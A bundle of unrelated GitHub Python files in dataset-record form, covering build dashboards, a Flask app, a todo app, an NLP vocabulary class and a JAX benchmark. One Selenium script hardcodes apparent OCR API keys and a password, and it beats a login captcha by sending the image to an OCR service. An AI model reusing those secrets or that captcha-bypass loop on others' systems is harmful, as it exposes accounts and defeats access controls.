attention to this line. We are running it distributed \n # and the number of workers is \"num_workers\".\n # The current worker only picks the file at index=worker_index,\n # and then skips \"num_workers\" files \n # (a cycle of files which are picked up by the other workers)\n for i in range(0+args.worker_idx, len(tars), args.n_workers):\n if label_list is not None:\n count_records += process(args.data_dir+\"/\"+tars[i], out_tar_stream, img_list, img_set=img_set,\n label_list=label_list)\n else:\n count_records += process(args.data_dir + \"/\" + tars[i], out_tar_stream, img_list, img_set=img_set)\n\n # Aim for the output tars to be ~2.5GB\n if count_records > args.n_per_tar:\n print(f\"Wrote {count_records} records. Closing the tar and opening a new one.\")\n out_tar_stream.close()\n out_tar_index += 1\n out_tar_stream = create_output_tar_stream(\n args.out_dir, args.worker_idx, out_tar_index)\n count_records = 0\n\n out_tar_stream.close()\n print(f\"Job was successful. It wrote {out_tar_index+1} output tar files\")\n\n\nif __name__ == '__main__':\n\n parser = ArgumentParser()\n parser.add_argument('worker_idx', type=int,\n help='index of the worker running this process')\n parser.add_argument('n_workers', type=int,\n help='number of workers in total')\n parser.add_argument('-d', '--data_dir', type=str,\n help='dataset to subsample')\n parser.add_argument('-o', '--out_dir',\n help='output folder')\n parser.add_argument('-i', '--img_file',\n help='numpy file with image paths to select from the dataset')\n parser.add_argument('-l', '--label_file', default=None,\n help='Give None if no numpy. Otherwise give numpy file with labels for each image')\n parser.add_argument('-n', '--n_imgs', type=int, default=15000000,\n help='number of images to sample')\n parser.add_argument('-n_per_tar', type=int, default=100000,\n help='number of images per tar ball')\n\n args = parser.parse_args()\n start_time = time.time()\n main(args)\n print(f\"{args.n_imgs} datapoints are saved in {time.time()-start_time} seconds\")\n","repo_name":"brendel-group/clip-ood","sub_path":"src/sampling/subsample_dataset.py","file_name":"subsample_dataset.py","file_ext":"py","file_size_in_byte":7365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"33156274700","text":"import collections\nimport os\nimport os.path\nimport re\n\nfrom pyant import command, git, maven\nfrom pyant.app import const, __dashboard__\nfrom pyant.builtin import __os__\n\nfrom pyant.app.bn import build\n\n__all__ = ('dashboard',)\n\nclass dashboard(__dashboard__):\n def __init__(self):\n super().__init__('bn', build.build().repos)\n\n def dashboard_monitor(self, branch = None):\n if not self.update(None, branch):\n return False\n\n path_info = collections.OrderedDict()\n\n for module in self.repos:\n path_info[os.path.basename(self.repos[module])] = module\n\n if os.environ.get('JOB_NAME'):\n job_home = os.path.dirname(os.environ['JOB_NAME'])\n else:\n job_home = os.path.join(self.path, 'dashboard')\n\n for path, (authors, paths) in self.__dashboard_monitor__(path_info.keys(), self.expand_dashboard).items():\n self.dashboard_jenkins_cli(os.path.join(job_home, '%s_dashboard_%s' % (self.name, path_info[path])), authors, paths)\n\n return True\n\n def dashboard(self, module, paths, branch = None):\n modules = []\n\n if module in ('ptn', 'ptn2'):\n modules = ['ptn', 'ptn2']\n else:\n modules = [module]\n\n for _module in modules:\n module_path = os.path.basename(self.repos[_module])\n\n if os.path.isdir(module_path):\n if not git.reset(module_path, branch):\n return False\n\n if not self.update(_module, branch):\n return False\n\n if not os.environ.get('NOT_DASHBOARD_DEVTOOLS'):\n if not self.update('devtools', branch):\n return False\n\n self.environ('cpp')\n\n self.path = os.path.basename(self.repos[module])\n\n if os.path.isdir(self.path):\n with __os__.chdir(self.path) as chdir:\n return self.__dashboard__(paths)\n else:\n print('no such directory: %s' % os.path.normpath(self.path))\n\n return False\n\n def dashboard_gerrit(self, module, repos, revision, branch = None):\n if module in ('interface',):\n return True\n\n modules = []\n\n if module in ('ptn', 'ptn2'):\n modules = ['ptn', 'ptn2']\n else:\n modules = [module]\n\n for _module in modules:\n module_path = os.path.basename(self.repos[_module])\n\n if os.path.isdir(module_path):\n if not git.reset(module_path, branch):\n return False\n\n if not self.update(_module, branch):\n return False\n\n if not os.environ.get('NOT_DASHBOARD_DEVTOOLS'):\n if not self.update('devtools', branch):\n return False\n\n self.environ('cpp')\n\n status = True\n\n module_path = os.path.basename(self.repos[module])\n\n if os.path.isdir(module_path):\n try:\n with __os__.chdir(module_path) as chdir:\n cmd = command.command()\n\n for line in cmd.command('git fetch %s +refs/changes/*:refs/changes/*' % repos):\n print(line)\n\n if not cmd.result():\n return False\n\n for line in cmd.command('git checkout -f %s' % revision):\n print(line)\n\n if not cmd.result():\n return False\n\n status = True\n\n logs = git.log(None, '-1 --stat=256 %s' % revision, True)\n\n if logs:\n paths = collections.OrderedDict()\n dbscript_paths = collections.OrderedDict()\n\n for log in logs:\n if log['changes']:\n for k, v in log['changes'].items():\n if k in ('delete',):\n continue\n\n for file in v:\n if os.path.splitext(file)[-1] in ('.java', '.cpp', '.h', '.xml'):\n path = self.pom_path(file)\n\n if path:\n if os.path.splitext(file)[-1] in ('.xml',):\n if re.search(r'^code_c\\/database\\/.*\\/xml\\/.*\\.xml$', file):\n if os.path.isfile('code_c/database/dbscript/pom.xml'):\n if os.path.isfile(os.path.join(os.path.dirname(file), '../pom.xml')):\n dbscript_paths['code_c/database/dbscript'] = []\n else:\n if path not in paths:\n paths[path] = []\n\n paths[path].append(os.path.abspath(file))\n\n paths = self.expand_dashboard_gerrit(module_path, paths, dbscript_paths)\n\n for path in paths:\n if os.path.isdir(path):\n lang = None\n\n if __os__.normpath(path).startswith('code_c/'):\n lang = 'cpp'\n\n with __os__.chdir(path) as chdir:\n if module in ('interface',):\n mvn = maven.maven()\n mvn.notification = '<%s_DASHBOARD_GERRIT_BUILD 通知> 编译失败, 请尽快处理' % self.name.upper()\n\n mvn.clean()\n\n cmdline = 'mvn install -fn -U'\n\n if not mvn.compile(cmdline, None, lang):\n status = False\n\n continue\n else:\n if not self.kw_check('.', lang, paths[path]):\n status = False\n\n continue\n finally:\n git.reset(module_path, branch)\n git.pull(module_path, revert = True)\n\n return status\n\n # ------------------------------------------------------\n\n def update(self, module, branch = None):\n return build.build().update(module, branch)\n\n def environ(self, lang = None):\n return build.build().environ(lang)\n\n def expand_dashboard(self, path, file):\n file = __os__.normpath(file)\n\n if path in ('U31R22_INTERFACE',):\n if file.startswith('code/asn/'):\n return ('code/finterface', 'code_c/finterface')\n elif file.startswith('code_c/asn/sdh-wdm/qx-interface/asn/'):\n return 'code_c/qxinterface/qxinterface'\n elif file.startswith('code_c/asn/sdh-wdm/qx-interface/asn5800/'):\n return 'code_c/qxinterface/qx5800'\n elif file.startswith('code_c/asn/sdh-wdm/qx-interface/asnwdm721/'):\n return 'code_c/qxinterface/qxwdm721'\n elif file.startswith('code_c/asn/otntlvqx/'):\n return 'code_c/qxinterface/qxotntlv'\n else:\n return file\n elif path in ('U31R22_NBI',):\n if file.startswith('code_c/adapters/xtncorba/corbaidl/'):\n return ('code_c/adapters/xtncorba/corbaidl/corbaidl_common', 'code_c/adapters/xtncorba/corbaidl/corbaidl')\n elif file.startswith('code_c/adapters/xtntmfcorba/corbaidl/'):\n return ('code_c/adapters/xtntmfcorba/corbaidl/corbaidl_common', 'code_c/adapters/xtntmfcorba/corbaidl/corbaidl')\n else:\n return file\n else:\n if re.search(r'^code_c\\/database\\/.*\\/xml\\/.*\\.xml$', file):\n if os.path.isfile('code_c/database/dbscript/pom.xml'):\n if os.path.isfile(os.path.join(os.path.dirname(file), '../pom.xml')):\n return ('code_c/database/dbscript', file)\n\n return file\n\n def expand_dashboard_gerrit(self, module_path, paths, dbscript_paths):\n _paths = []\n\n for path in paths:\n _path = path\n\n if module_path in ('U31R22_INTERFACE',):\n if path.startswith('code/finterface'):\n _path = 'code/finterface'\n elif path.startswith('code/netconf'):\n _path = 'code/netconf'\n elif path.startswith('code/otn/wdmqx'):\n _path = 'code/otn/wdmqx'\n elif path.startswith('code/ptn/qx'):\n _path = 'code/ptn/qx'\n elif path.startswith('code/ptn/netconf_sptn'):\n _path = 'code/ptn/netconf_sptn'\n elif path.startswith('code_c/finterface'):\n _path = 'code_c/finterface'\n elif path.startswith('code_c/qxinterface/qxinterface'):\n _path = 'code_c/qxinterface/qxinterface'\n elif path.startswith('code_c/qxinterface/qx5800'):\n _path = 'code_c/qxinterface/qx5800'\n elif path.startswith('code_c/qxinterface/qxwdm721'):\n _path = 'code_c/qxinterface/qxwdm721'\n elif path.startswith('code_c/qxinterface/qxotntlv'):\n _path = 'code_c/qxinterface/qxotntlv'\n else:\n _path = path\n elif module_path in ('U31R22_NBI',):\n if path.startswith('code_c/adapters/xtncorba/corbaidl'):\n if 'code_c/adapters/xtncorba/corbaidl/corbaidl_common' not in _paths:\n _paths.append('code_c/adapters/xtncorba/corbaidl/corbaidl_common')\n\n path = 'code_c/adapters/xtncorba/corbaidl/corbaidl'\n elif path.startswith('code_c/adapters/xtntmfcorba/corbaidl'):\n if 'code_c/adapters/xtntmfcorba/corbaidl/corbaidl_common' not in _paths:\n _paths.append('code_c/adapters/xtntmfcorba/corbaidl/corbaidl_common')\n\n path = 'code_c/adapters/xtntmfcorba/corbaidl/corbaidl'\n else:\n _path = path\n else:\n _path = path\n\n if _path not in _paths:\n _paths.append(_path)\n\n cur_paths = collections.OrderedDict()\n\n for path in dbscript_paths:\n cur_paths[path] = []\n\n for path in _paths:\n cur_paths[path] = paths[path]\n\n return cur_paths\n\n def kw_check_fixed(self, defect, filenames = None):\n branch = 'master'\n\n git_home = git.home()\n\n for k in git.config():\n m = re.search(r'^branch\\.(.*)\\.remote$', k)\n\n if m:\n branch = m.group(1)\n\n lines = []\n\n cmd = command.command()\n\n for line in cmd.command('git rev-list -n 1 --before=\"%s\" %s' % (const.KLOCWORK_DATE, branch)):\n lines.append(line)\n\n if not cmd.result():\n return defect\n\n commit = lines[-1]\n\n lines = []\n\n for line in cmd.command('git diff %s' % commit):\n lines.append(line)\n\n _defect = {}\n\n diff_info = self.diff(lines, git_home)\n\n for severity in defect:\n for code in defect[severity]:\n for info in defect[severity][code]:\n if info['file'] not in diff_info:\n continue\n\n if int(info['line']) in diff_info[info['file']]:\n if severity not in _defect:\n _defect[severity] = {}\n\n if code not in _defect[severity]:\n _defect[severity][code] = []\n\n _defect[severity][code].append(info)\n\n print('*' * 60)\n print(filenames)\n print('Error', _defect.get('Error'))\n print('Critical', _defect.get('Critical'))\n print('*' * 60)\n\n fixed_defect = {}\n\n for severity in _defect:\n for code in _defect[severity]:\n for info in _defect[severity][code]:\n if filenames:\n if info['file'] not in filenames:\n continue\n\n if severity not in fixed_defect:\n fixed_defect[severity] = {}\n\n if code not in fixed_defect[severity]:\n fixed_defect[severity][code] = []\n\n fixed_defect[severity][code].append(info)\n\n return fixed_defect\n\n def diff(self, lines, git_home = None):\n info = {}\n\n tmp_lines = []\n\n for line in lines:\n line = line.strip()\n\n m = re.search(r'^diff\\s+--git\\s+a\\/(.*)\\s+b/.*$', line)\n\n if m:\n if tmp_lines:\n filename, diff_info = self.diff_lines(tmp_lines, git_home)\n\n if not info.get(filename):\n info[filename] = []\n\n info[filename] += diff_info\n\n tmp_lines = []\n\n tmp_lines.append(line)\n\n if tmp_lines:\n filename, diff_info = self.diff_lines(tmp_lines, git_home)\n\n if not info.get(filename):\n info[filename] = []\n\n info[filename] += diff_info\n\n return info\n\n def diff_lines(self, lines, git_home = None):\n if git_home is None:\n git_home = '.'\n\n filename = None\n diff_info = []\n\n lineno = -1\n\n for line in lines:\n m = re.search(r'^diff\\s+--git\\s+a\\/(.*)\\s+b/.*$', line)\n\n if m:\n with __os__.chdir(git_home) as chdir:\n filename = os.path.abspath(m.group(1))\n\n continue\n\n m = re.search(r'^\\++\\s+\\/dev\\/null$', line)\n\n if m:\n filename = None\n break\n\n m = re.search(r'^@@\\s+-(\\d+),(\\d+)\\s+\\+(\\d+),(\\d+)\\s+@@.*$', line)\n\n if m:\n lineno = int(m.group(3))\n continue\n\n if lineno > -1:\n m = re.search(r'^-.*$', line)\n\n if m:\n continue\n\n m = re.search(r'^\\+.*$', line)\n\n if m:\n diff_info.append(lineno)\n\n lineno += 1\n\n return (filename, diff_info)\n","repo_name":"pythoner-github/PyAnt","sub_path":"pyant/app/bn/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":14714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70218453673","text":"import os\nimport logging\nfrom flask import Flask\n\nhandler = logging.StreamHandler()\nformatter = logging.Formatter(\n fmt=\"%(asctime)s [%(levelname)s] %(name)s | %(message)s\",\n datefmt=\"%d/%m/%Y %H:%M:%S\",\n)\nhandler.setFormatter(formatter)\nroot = logging.getLogger()\nif \"NIDO_DEBUG\" in os.environ:\n root.setLevel(logging.DEBUG)\nelse:\n root.setLevel(logging.INFO)\nroot.addHandler(handler)\n\n\ndef create_app(test_config=None):\n app = Flask(\"nido.web\", instance_relative_config=True)\n\n if test_config is None:\n if \"NIDO_DEBUG\" in os.environ:\n config_object = \"nido.web.config.DevelopmentConfig\"\n else:\n config_object = \"nido.web.config.ProductionConfig\"\n app.config.from_object(config_object)\n else:\n app.config.from_mapping(test_config)\n # Load private config values from instance folder\n app.config.from_pyfile(\"private-config.py\")\n\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n\n from nido.web.api import thermostat, schedule, RegexConverter\n\n app.url_map.converters[\"regex\"] = RegexConverter\n app.register_blueprint(thermostat.bp, url_prefix=\"/api\")\n app.register_blueprint(schedule.bp, url_prefix=\"/api/schedule\")\n\n return app\n","repo_name":"alexmensch/nido-python","sub_path":"nido/web/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22408290930","text":"# coding=utf-8\nfrom selenium import webdriver\nimport time\nimport requests\nfrom aip import AipOcr\nimport os\n\ndef readfile(config_dir):\n for root,dirs,files in os.walk():\n for iter_files in files:\n return iter_files\n\n\n\nclass loginTest():\n def __init__(self):\n self.url = 'https://192.168.6.248/#/'\n self.driver = webdriver.Firefox()\n\n def initial(self):\n \"\"\" 初始化连接 \"\"\"\n APP_ID = '16611607'\n API_KEY = 'wAIXfXOUS8ztLa4FrK3rZex1'\n SECRET_KEY = '3b8nvjSGUZq0LPC18VVAizKYRBbny6Mq'\n return AipOcr(APP_ID, API_KEY, SECRET_KEY)\n\n def get_file_content(self, filePath):\n \"\"\" 读取图片 \"\"\"\n with open(filePath, 'rb') as f:\n return f.read()\n\n def log_in(self,name):\n self.driver.get(self.url)\n time.sleep(3)\n # //*[@id=\"codes\"]\n # self.driver.save_screenshot(\"0.jpg\")\n self.driver.find_element_by_xpath('//*[@id=\"app\"]/div/div[2]/div[2]/div/div/form/div[1]/div/div/input').send_keys(name)\n # 输入密码\n self.driver.find_element_by_xpath('//*[@id=\"app\"]/div/div[2]/div[2]/div/div/form/div[2]/div/div/input').send_keys(\"Jiangmin123456\")\n # 登录成功的标志,默认true\n flag = True\n while flag:\n image = self.driver.find_element_by_class_name('auth_code')\n print(image)\n file_path = 'a.png'\n image.screenshot(file_path)\n\n client = self.initial()\n image = self.get_file_content(file_path)\n res = client.basicGeneral(image)\n print(res)\n\n # self.driver.find_element_by_xpath('//*[@id=\"app\"]/div/div[2]/div[2]/div/div/form/div[3]/div/div/input').send_keys(\n # res['words_result'][0]['words'])\n button= self.driver.find_element_by_xpath('//*[@id=\"app\"]/div/div[2]/div[2]/div/div/form/div[3]/div/div/input')\n button.clear()\n button.send_keys(res['words_result'][0]['words'])\n # 点击登陆 //*[@id=\"app\"]/div/div[3]/form/div[5]/div/button\n self.driver.find_element_by_xpath('//*[@id=\"app\"]/div/div[2]/div[2]/div/div/form/div[5]/div/button').click()\n time.sleep(2)\n # 输出登陆之后的cookies\n print(self.driver.get_cookies())\n time.sleep(2)\n\n # cookie_dict = self.driver.get_cookie('httpOnly')\n # # log_success = cookie_dict.get('secure')\n # print(\"cookie_dict:\",cookie_dict)\n cur_url=self.driver.current_url\n print(\"cur_sul:\",cur_url)\n if cur_url!=self.url:\n flag = False\n\n def add_user(self,name):\n self.driver.get('https://192.168.6.248/#/users')\n # self.driver.find_element_by_xpath('/html/body/div[2]/ul/li[3]').click()\n #//*[@id=\"pane-first\"]/section/div[1]/form/div[1]/div/div/input\n #//*[@id=\"pane-first\"]/section/div[1]/form/div[1]/div/div/input\n #//*[@id=\"pane-first\"]/section/div[1]/form/div[2]/div/div/input\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[1]/div/div/input').send_keys(name)\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[2]/div/div/input').send_keys(\n \"Jiangmin123456\")\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[3]/div/div/input').send_keys(\n \"Jiangmin123456\")\n #姓名\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[4]/div/div/input').send_keys(\n \"xiaxia\")\n #部门\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[5]/div/div/input').send_keys(\n \"xiaxia\")\n #电话\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[6]/div/div/input').send_keys(\n 15031568956)\n #阀值\n fazhi = self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[7]/div/div/div/input')\n fazhi.find_element_by_xpath('/html/body/div[2]/div[1]/div[1]/ul/li[2]').click()\n #角色\n self.driver.find_element_by_xpath('/html/body/div[4]/div[1]/div[1]/ul/li[1]').click()\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[8]/div/div/label[1]/span[1]/input').click()\n #添加\n self.driver.find_element_by_xpath(\n '//*[@id=\"pane-first\"]/section/div[1]/form/div[9]/div/button/span').click()\n\n def input_file(self,config_dir):\n self.driver.get('https://192.168.6.248/#/import_file')\n #前往导入页 //*[@id=\"homebody\"]/div/div[2]/div/div[2]/p\n # input=self.driver.find_elements_by_xpath('//*[@id=\"homebody\"]/div/div[2]/div/div[2]/p')\n # input.click()\n #//*[@id=\"check_file\"]\n for root, dirs, files in os.walk(config_dir):\n for iter_files in files:\n path = root + '\\\\' + iter_files\n self.driver.find_element_by_name('filename').send_keys(path)\n #下一步\n # next=self.driver.find_element_by_xpath('//*[@id=\"app\"]/section/main/div/div/div[1]/div/div[2]/div[2]/form/div[6]/div/button[2]')\n # next.click()\n\n\nif __name__ == '__main__':\n text_login = loginTest()\n text_login.log_in(\"admin\")\n text_login.add_user(\"xixia2\")\n # text_login.input_file(r'E:\\app_downloads')\n\n","repo_name":"xaimingfeng/changedemo","sub_path":"auto_offline/opm4.py","file_name":"opm4.py","file_ext":"py","file_size_in_byte":5543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15046054321","text":"from flask import Flask, flash, redirect, render_template, request, session, abort\nimport lcddriver\nimport time\nimport threading\nimport multiprocessing\napp = Flask(__name__)\nqueue = []\nflag=True\n#This is used to display the message on to the LCD\ndef sync(msg):\n display = lcddriver.lcd()\n try:\n flag=False\n display.lcd_display_string(msg,1)\n time.sleep(5)\n display.lcd_clear()\n flag=True\n except KeyboardInterrupt:\n print(\"Cleaning up!\")\n display.lcd_clear()\n \nclass msgdisplay:\n \n #This function is used to append given messages to queue \n def append(self,msg):\n session['lcd'] = True \n queue.append(msg) \n print(queue)\n #This function is used to remove the selected message by user from queue \n def delete(self,q):\n for i in q:\n queue.remove(i)\n #Synchronisation of messages are done by this function \n def display(self): \n i=0\n print(i)\n while i<len(queue):\n t1=threading.Thread(target=sync, args=(queue[i],))\n if not t1.is_alive():\n print(\"active threads:\",threading.active_count())\n print(\"current threads:\",threading.current_thread())\n t1.start()\n t1.join()\n i=i+1\n print(\"second:\",i)\n \n print(\"thread status:\",t1.is_alive())\n i=0\n print(\"third:\",i)\n \n\n \n\n\n","repo_name":"sahithh/IoT_SmartNoticeBoard","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15378137507","text":"import streamlit as sl\nimport function as fn\ntodos = fn.get_todos()\ndef add_todo():\n todo = sl.session_state['new_todo']\n todos.append(todo+'\\n')\n fn.write_todos(todos)\n\n\nsl.title(\"To-Do Web App\")\nsl.subheader(\"This is my Todo web app\")\nsl.text(\"It will increase your Productivity\")\nfor index,todo in enumerate(todos):\n checkbox = sl.checkbox(todo,key=todo)\n if checkbox:\n todos.pop(index)\n fn.write_todos(todos)\n del sl.session_state[todo]\n sl.experimental_rerun()\n\n\nsl.text_input(label='',placeholder=\"Enter a To-Do\",\n on_change=add_todo, key='new_todo')\n","repo_name":"Prapul007/todo-apps","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30431552179","text":"# based on /home/rob/.local/lib/python3.8/site-packages/transformers/models/bert/tokenization_bert.py\n\n# It might be neater to put this in 2 classes?, one for the collection of vocabs, and one for a single vocab\n\n# Some things it doesnt check for: Does the namespace already exist? Doest the token contain a newline?,\n# then the file on the disk will be read wrongly (note that MaChAmp doesnt rely on this though)\n\nimport os\n\nclass MachampVocabulary:\n def __init__(self):\n \"\"\"\n A class that can represent multiple vocabularies. They are kep apart by \n a unique key (in a namespace). self.namespaces consists of a dictionary \n with the unique keys, and dictionaries as values. These dictionary keep\n the actual labels/tokens. In self.inverse_namespace we have the same \n structure, but use lists instead of dictionaries, so that we can also quickly\n look up words by their indices.\n \"\"\"\n self.namespaces = {}\n self.inverse_namespaces = {}\n self.hasUnk = {}\n self.UNK_ID = -100\n self.UNK = '@@unkORpad@@'\n # This is perhaps not the neatest location, but it is put here for convenience, \n # as it is used in many places, and the vocabulary is availabl in all of them\n self.pre_splits = {}\n\n def load_vocab(self, vocab_path: str, name: str):\n \"\"\"\n Loads the vocabulary of a single namespace (i.e. text file).\n \n Parameters\n ----------\n vocab_path: str\n The path to the text file to read.\n name: str\n The unique namespace name.\n \"\"\"\n vocab = {}\n inverse_vocab = []\n with open(vocab_path, \"r\", encoding=\"utf-8\") as reader:\n tokens = reader.readlines()\n for index, token in enumerate(tokens):\n token = token.rstrip(\"\\n\")\n vocab[token] = index\n inverse_vocab.append(token)\n self.namespaces[name] = vocab\n self.inverse_namespaces[name] = inverse_vocab\n\n def load_vocabs(self, vocab_dir: str):\n \"\"\"\n Load a vocabulary from a folder, expect txt files with the names of the\n namespaces in this folder, with a label/token on each line.\n\n Parameters\n ----------\n vocab_dir: str\n the path to the saved vocabulary.\n \"\"\"\n for namespace in os.listdir(vocab_dir):\n self.load_vocab(os.path.join(vocab_dir, namespace), namespace)\n\n def get_unk(self, name: str):\n \"\"\"\n Gets the unknown string if it exists in the specified namespace.\n \n Parameters\n ----------\n name: str\n name in the namespace.\n \"\"\"\n if self.hasUnk[name]:\n return self.UNK\n\n def get_unk_id(self, name: str):\n \"\"\"\n Gets the unknown id if it exists in the specified namespace.\n \n Parameters\n ----------\n name: str\n name in the namespace.\n \"\"\"\n if self.hasUnk[name]:\n return self.UNK_ID\n\n def get_vocab(self, name: str):\n \"\"\"\n Return the actual dictionary for a certain namespace.\n \n Parameters\n ----------\n name: str\n name in the namespace.\n \n Returns\n -------\n vocabulary: Dict[str, int]\n The dictionary containing the vocab (words, ids)\n \"\"\"\n return dict(self.namespaces[name])\n\n def token2id(self, token: str, namespace: str, add_if_not_present: bool):\n \"\"\"\n Look up a token, and return its ID.\n\n Parameters\n ----------\n token: str\n The token to look up.\n namespace: str\n The namespace to use.\n add_if_not_present: bool\n During the first reading of the training, we usually want to add \n unknown labels, during prediction this is usually not the case, and\n the vocabulary should be fixed.\n \n Returns\n -------\n token_id: int\n The id of the token.\n \"\"\"\n if token not in self.namespaces[namespace]:\n if add_if_not_present:\n self.namespaces[namespace][token] = len(self.inverse_namespaces[namespace])\n self.inverse_namespaces[namespace].append(token)\n return len(self.inverse_namespaces[namespace]) - 1\n else:\n return self.UNK_ID if self.hasUnk[namespace] else None\n if self.hasUnk[namespace]:\n return self.namespaces[namespace].get(token, 0)\n else:\n return self.namespaces[namespace].get(token, None)\n\n def id2token(self, token_id: int, namespace: str):\n \"\"\"\n Look up an id, and return the corresponding token.\n\n Parameters\n ----------\n token_id: int\n The id of the token.\n namespace: str\n The namespace to use.\n \n Returns\n -------\n token: str\n The token to look up.\n \"\"\"\n return self.inverse_namespaces[namespace][token_id]\n\n def create_vocab(self, name: str, has_unk: bool):\n \"\"\"\n Create a new vocabulary with a unique name in the namespace.\n\n Parameters\n ----------\n name: str\n The name in the namespace.\n has_unk: bool\n Whether this vocabulary should have an unknown/padding token.\n \"\"\"\n if name not in self.namespaces:\n self.namespaces[name] = {self.UNK: self.UNK_ID} if has_unk else {}\n self.inverse_namespaces[name] = [self.UNK] if has_unk else []\n self.hasUnk[name] = has_unk\n\n def save_vocabs(self, out_dir: str):\n \"\"\"\n Save all the vocabs in self.namespaces, in the outDir each\n name will get its own text file.\n\n Parameters\n ----------\n out_dir: str\n The directory in which to write the textfiles.\n \"\"\"\n if not os.path.isdir(out_dir):\n os.makedirs(out_dir)\n\n for namespace in self.namespaces:\n self.save_vocab(namespace, os.path.join(out_dir, namespace))\n open(os.path.join(out_dir, 'pre_splits_vocab'), 'w').write(str(self.pre_splits))\n\n def save_vocab(self, name: str, vocab_path: str):\n \"\"\"\n Writes the contents of a certain namespace, as one token per line.\n \n Parameters\n ----------\n name: str\n The name in the namespace.\n vocab_path: str\n The path to write the contents to.\n \"\"\"\n out_file = open(vocab_path, 'w')\n for token in self.inverse_namespaces[name]:\n out_file.write(token + '\\n')\n out_file.close()\n","repo_name":"machamp-nlp/machamp","sub_path":"machamp/data/machamp_vocabulary.py","file_name":"machamp_vocabulary.py","file_ext":"py","file_size_in_byte":6731,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"72"} +{"seq_id":"31532969986","text":"import sys\nfrom pathlib import Path\nimport time\n\nimport torch\nimport numpy as np\nfrom tqdm import tqdm\nimport jax\nfrom jax import numpy as jnp\nimport matplotlib.pyplot as plt\n\nsys.path.append(str(Path(__file__).parents[1].absolute() / \"tests\"))\n\nfrom pure_callback_alternative import wrap_torch_fn # noqa: E402\nfrom utils import jax_randn # noqa: E402\nfrom torch2jax import torch2jax, j2t # noqa: E402\n\n\ndef torch_fn(a, b):\n return a + b\n\n\ncpu_times_pc, cpu_times_tj, cuda_times_pc, cuda_times_tj = [], [], [], []\ncpu_times_torch, cuda_times_torch = [], []\n\nnumels = np.logspace(3, 8, 20, dtype=int)\nfor numel in tqdm(numels):\n trials = 50\n shape = [numel]\n\n for device in [\"cpu\", \"cuda\"]:\n dtype = jnp.float64 if device == \"cpu\" else jnp.float32\n a = jax_randn(shape, device=device, dtype=dtype)\n b = jax_randn(shape, device=device, dtype=dtype)\n jax_fn = jax.jit(\n torch2jax(torch_fn, a, b, output_shapes=jax.ShapeDtypeStruct((numel,), dtype))\n )\n jax2_fn = jax.jit(\n wrap_torch_fn(torch_fn, output_shapes=jax.ShapeDtypeStruct((numel,), dtype))\n )\n\n # compile\n jax_fn(a, b)[0].block_until_ready()\n jax2_fn(a, b)[0].block_until_ready()\n\n ts = [time.time()]\n for _ in range(trials):\n jax_fn(a, b)[0].block_until_ready()\n ts.append(time.time())\n ts = np.diff(ts)\n if device == \"cpu\":\n cpu_times_tj.append(ts[1:])\n else:\n cuda_times_tj.append(ts[1:])\n\n ts = [time.time()]\n for _ in range(trials):\n jax2_fn(a, b)[0].block_until_ready()\n ts.append(time.time())\n ts = np.diff(ts)\n if device == \"cpu\":\n cpu_times_pc.append(ts[1:])\n else:\n cuda_times_pc.append(ts[1:])\n\n a, b = j2t(a), j2t(b)\n ts = [time.time()]\n for _ in range(trials):\n c = torch_fn(a, b)\n torch.cuda.synchronize()\n ts.append(time.time())\n ts = np.diff(ts)\n if device == \"cpu\":\n cpu_times_torch.append(ts[1:])\n else:\n cuda_times_torch.append(ts[1:])\n\n\nfig, ax = plt.subplots(1, 2, figsize=(12, 4))\nmu, std = [np.mean(ts) for ts in cpu_times_pc], [np.std(ts) for ts in cpu_times_pc]\nmu, std = np.array(mu), np.array(std)\nax[0].loglog(numels, mu, label=\"pure_callback\", marker=\".\", color=\"C0\")\nax[0].fill_between(numels, mu - std, mu + std, color=\"C0\", alpha=0.3)\nmu, std = [np.mean(ts) for ts in cpu_times_tj], [np.std(ts) for ts in cpu_times_tj]\nmu, std = np.array(mu), np.array(std)\nax[0].loglog(numels, mu, label=\"torch2jax (this package)\", marker=\".\", color=\"C1\")\nax[0].fill_between(numels, mu - std, mu + std, color=\"C1\", alpha=0.3)\nmu, std = [np.mean(ts) for ts in cpu_times_torch], [np.std(ts) for ts in cpu_times_torch]\nmu, std = np.array(mu), np.array(std)\nax[0].loglog(numels, mu, label=\"native torch\", marker=\".\", color=\"C2\")\nax[0].fill_between(numels, mu - std, mu + std, color=\"C2\", alpha=0.3)\nax[0].set_xlabel(\"Data size\")\nax[0].set_ylabel(\"Time (s)\")\nax[0].set_title(\"CPU\")\nax[0].grid(True, which=\"both\")\nylim1 = ax[0].get_ylim()\n\nmu, std = [np.mean(ts) for ts in cuda_times_pc], [np.std(ts) for ts in cuda_times_pc]\nmu, std = np.array(mu), np.array(std)\nax[1].loglog(numels, mu, label=\"pure_callback\", marker=\".\", color=\"C0\")\nax[1].fill_between(numels, mu - std, mu + std, color=\"C0\", alpha=0.3)\nmu, std = [np.mean(ts) for ts in cuda_times_tj], [np.std(ts) for ts in cuda_times_tj]\nmu, 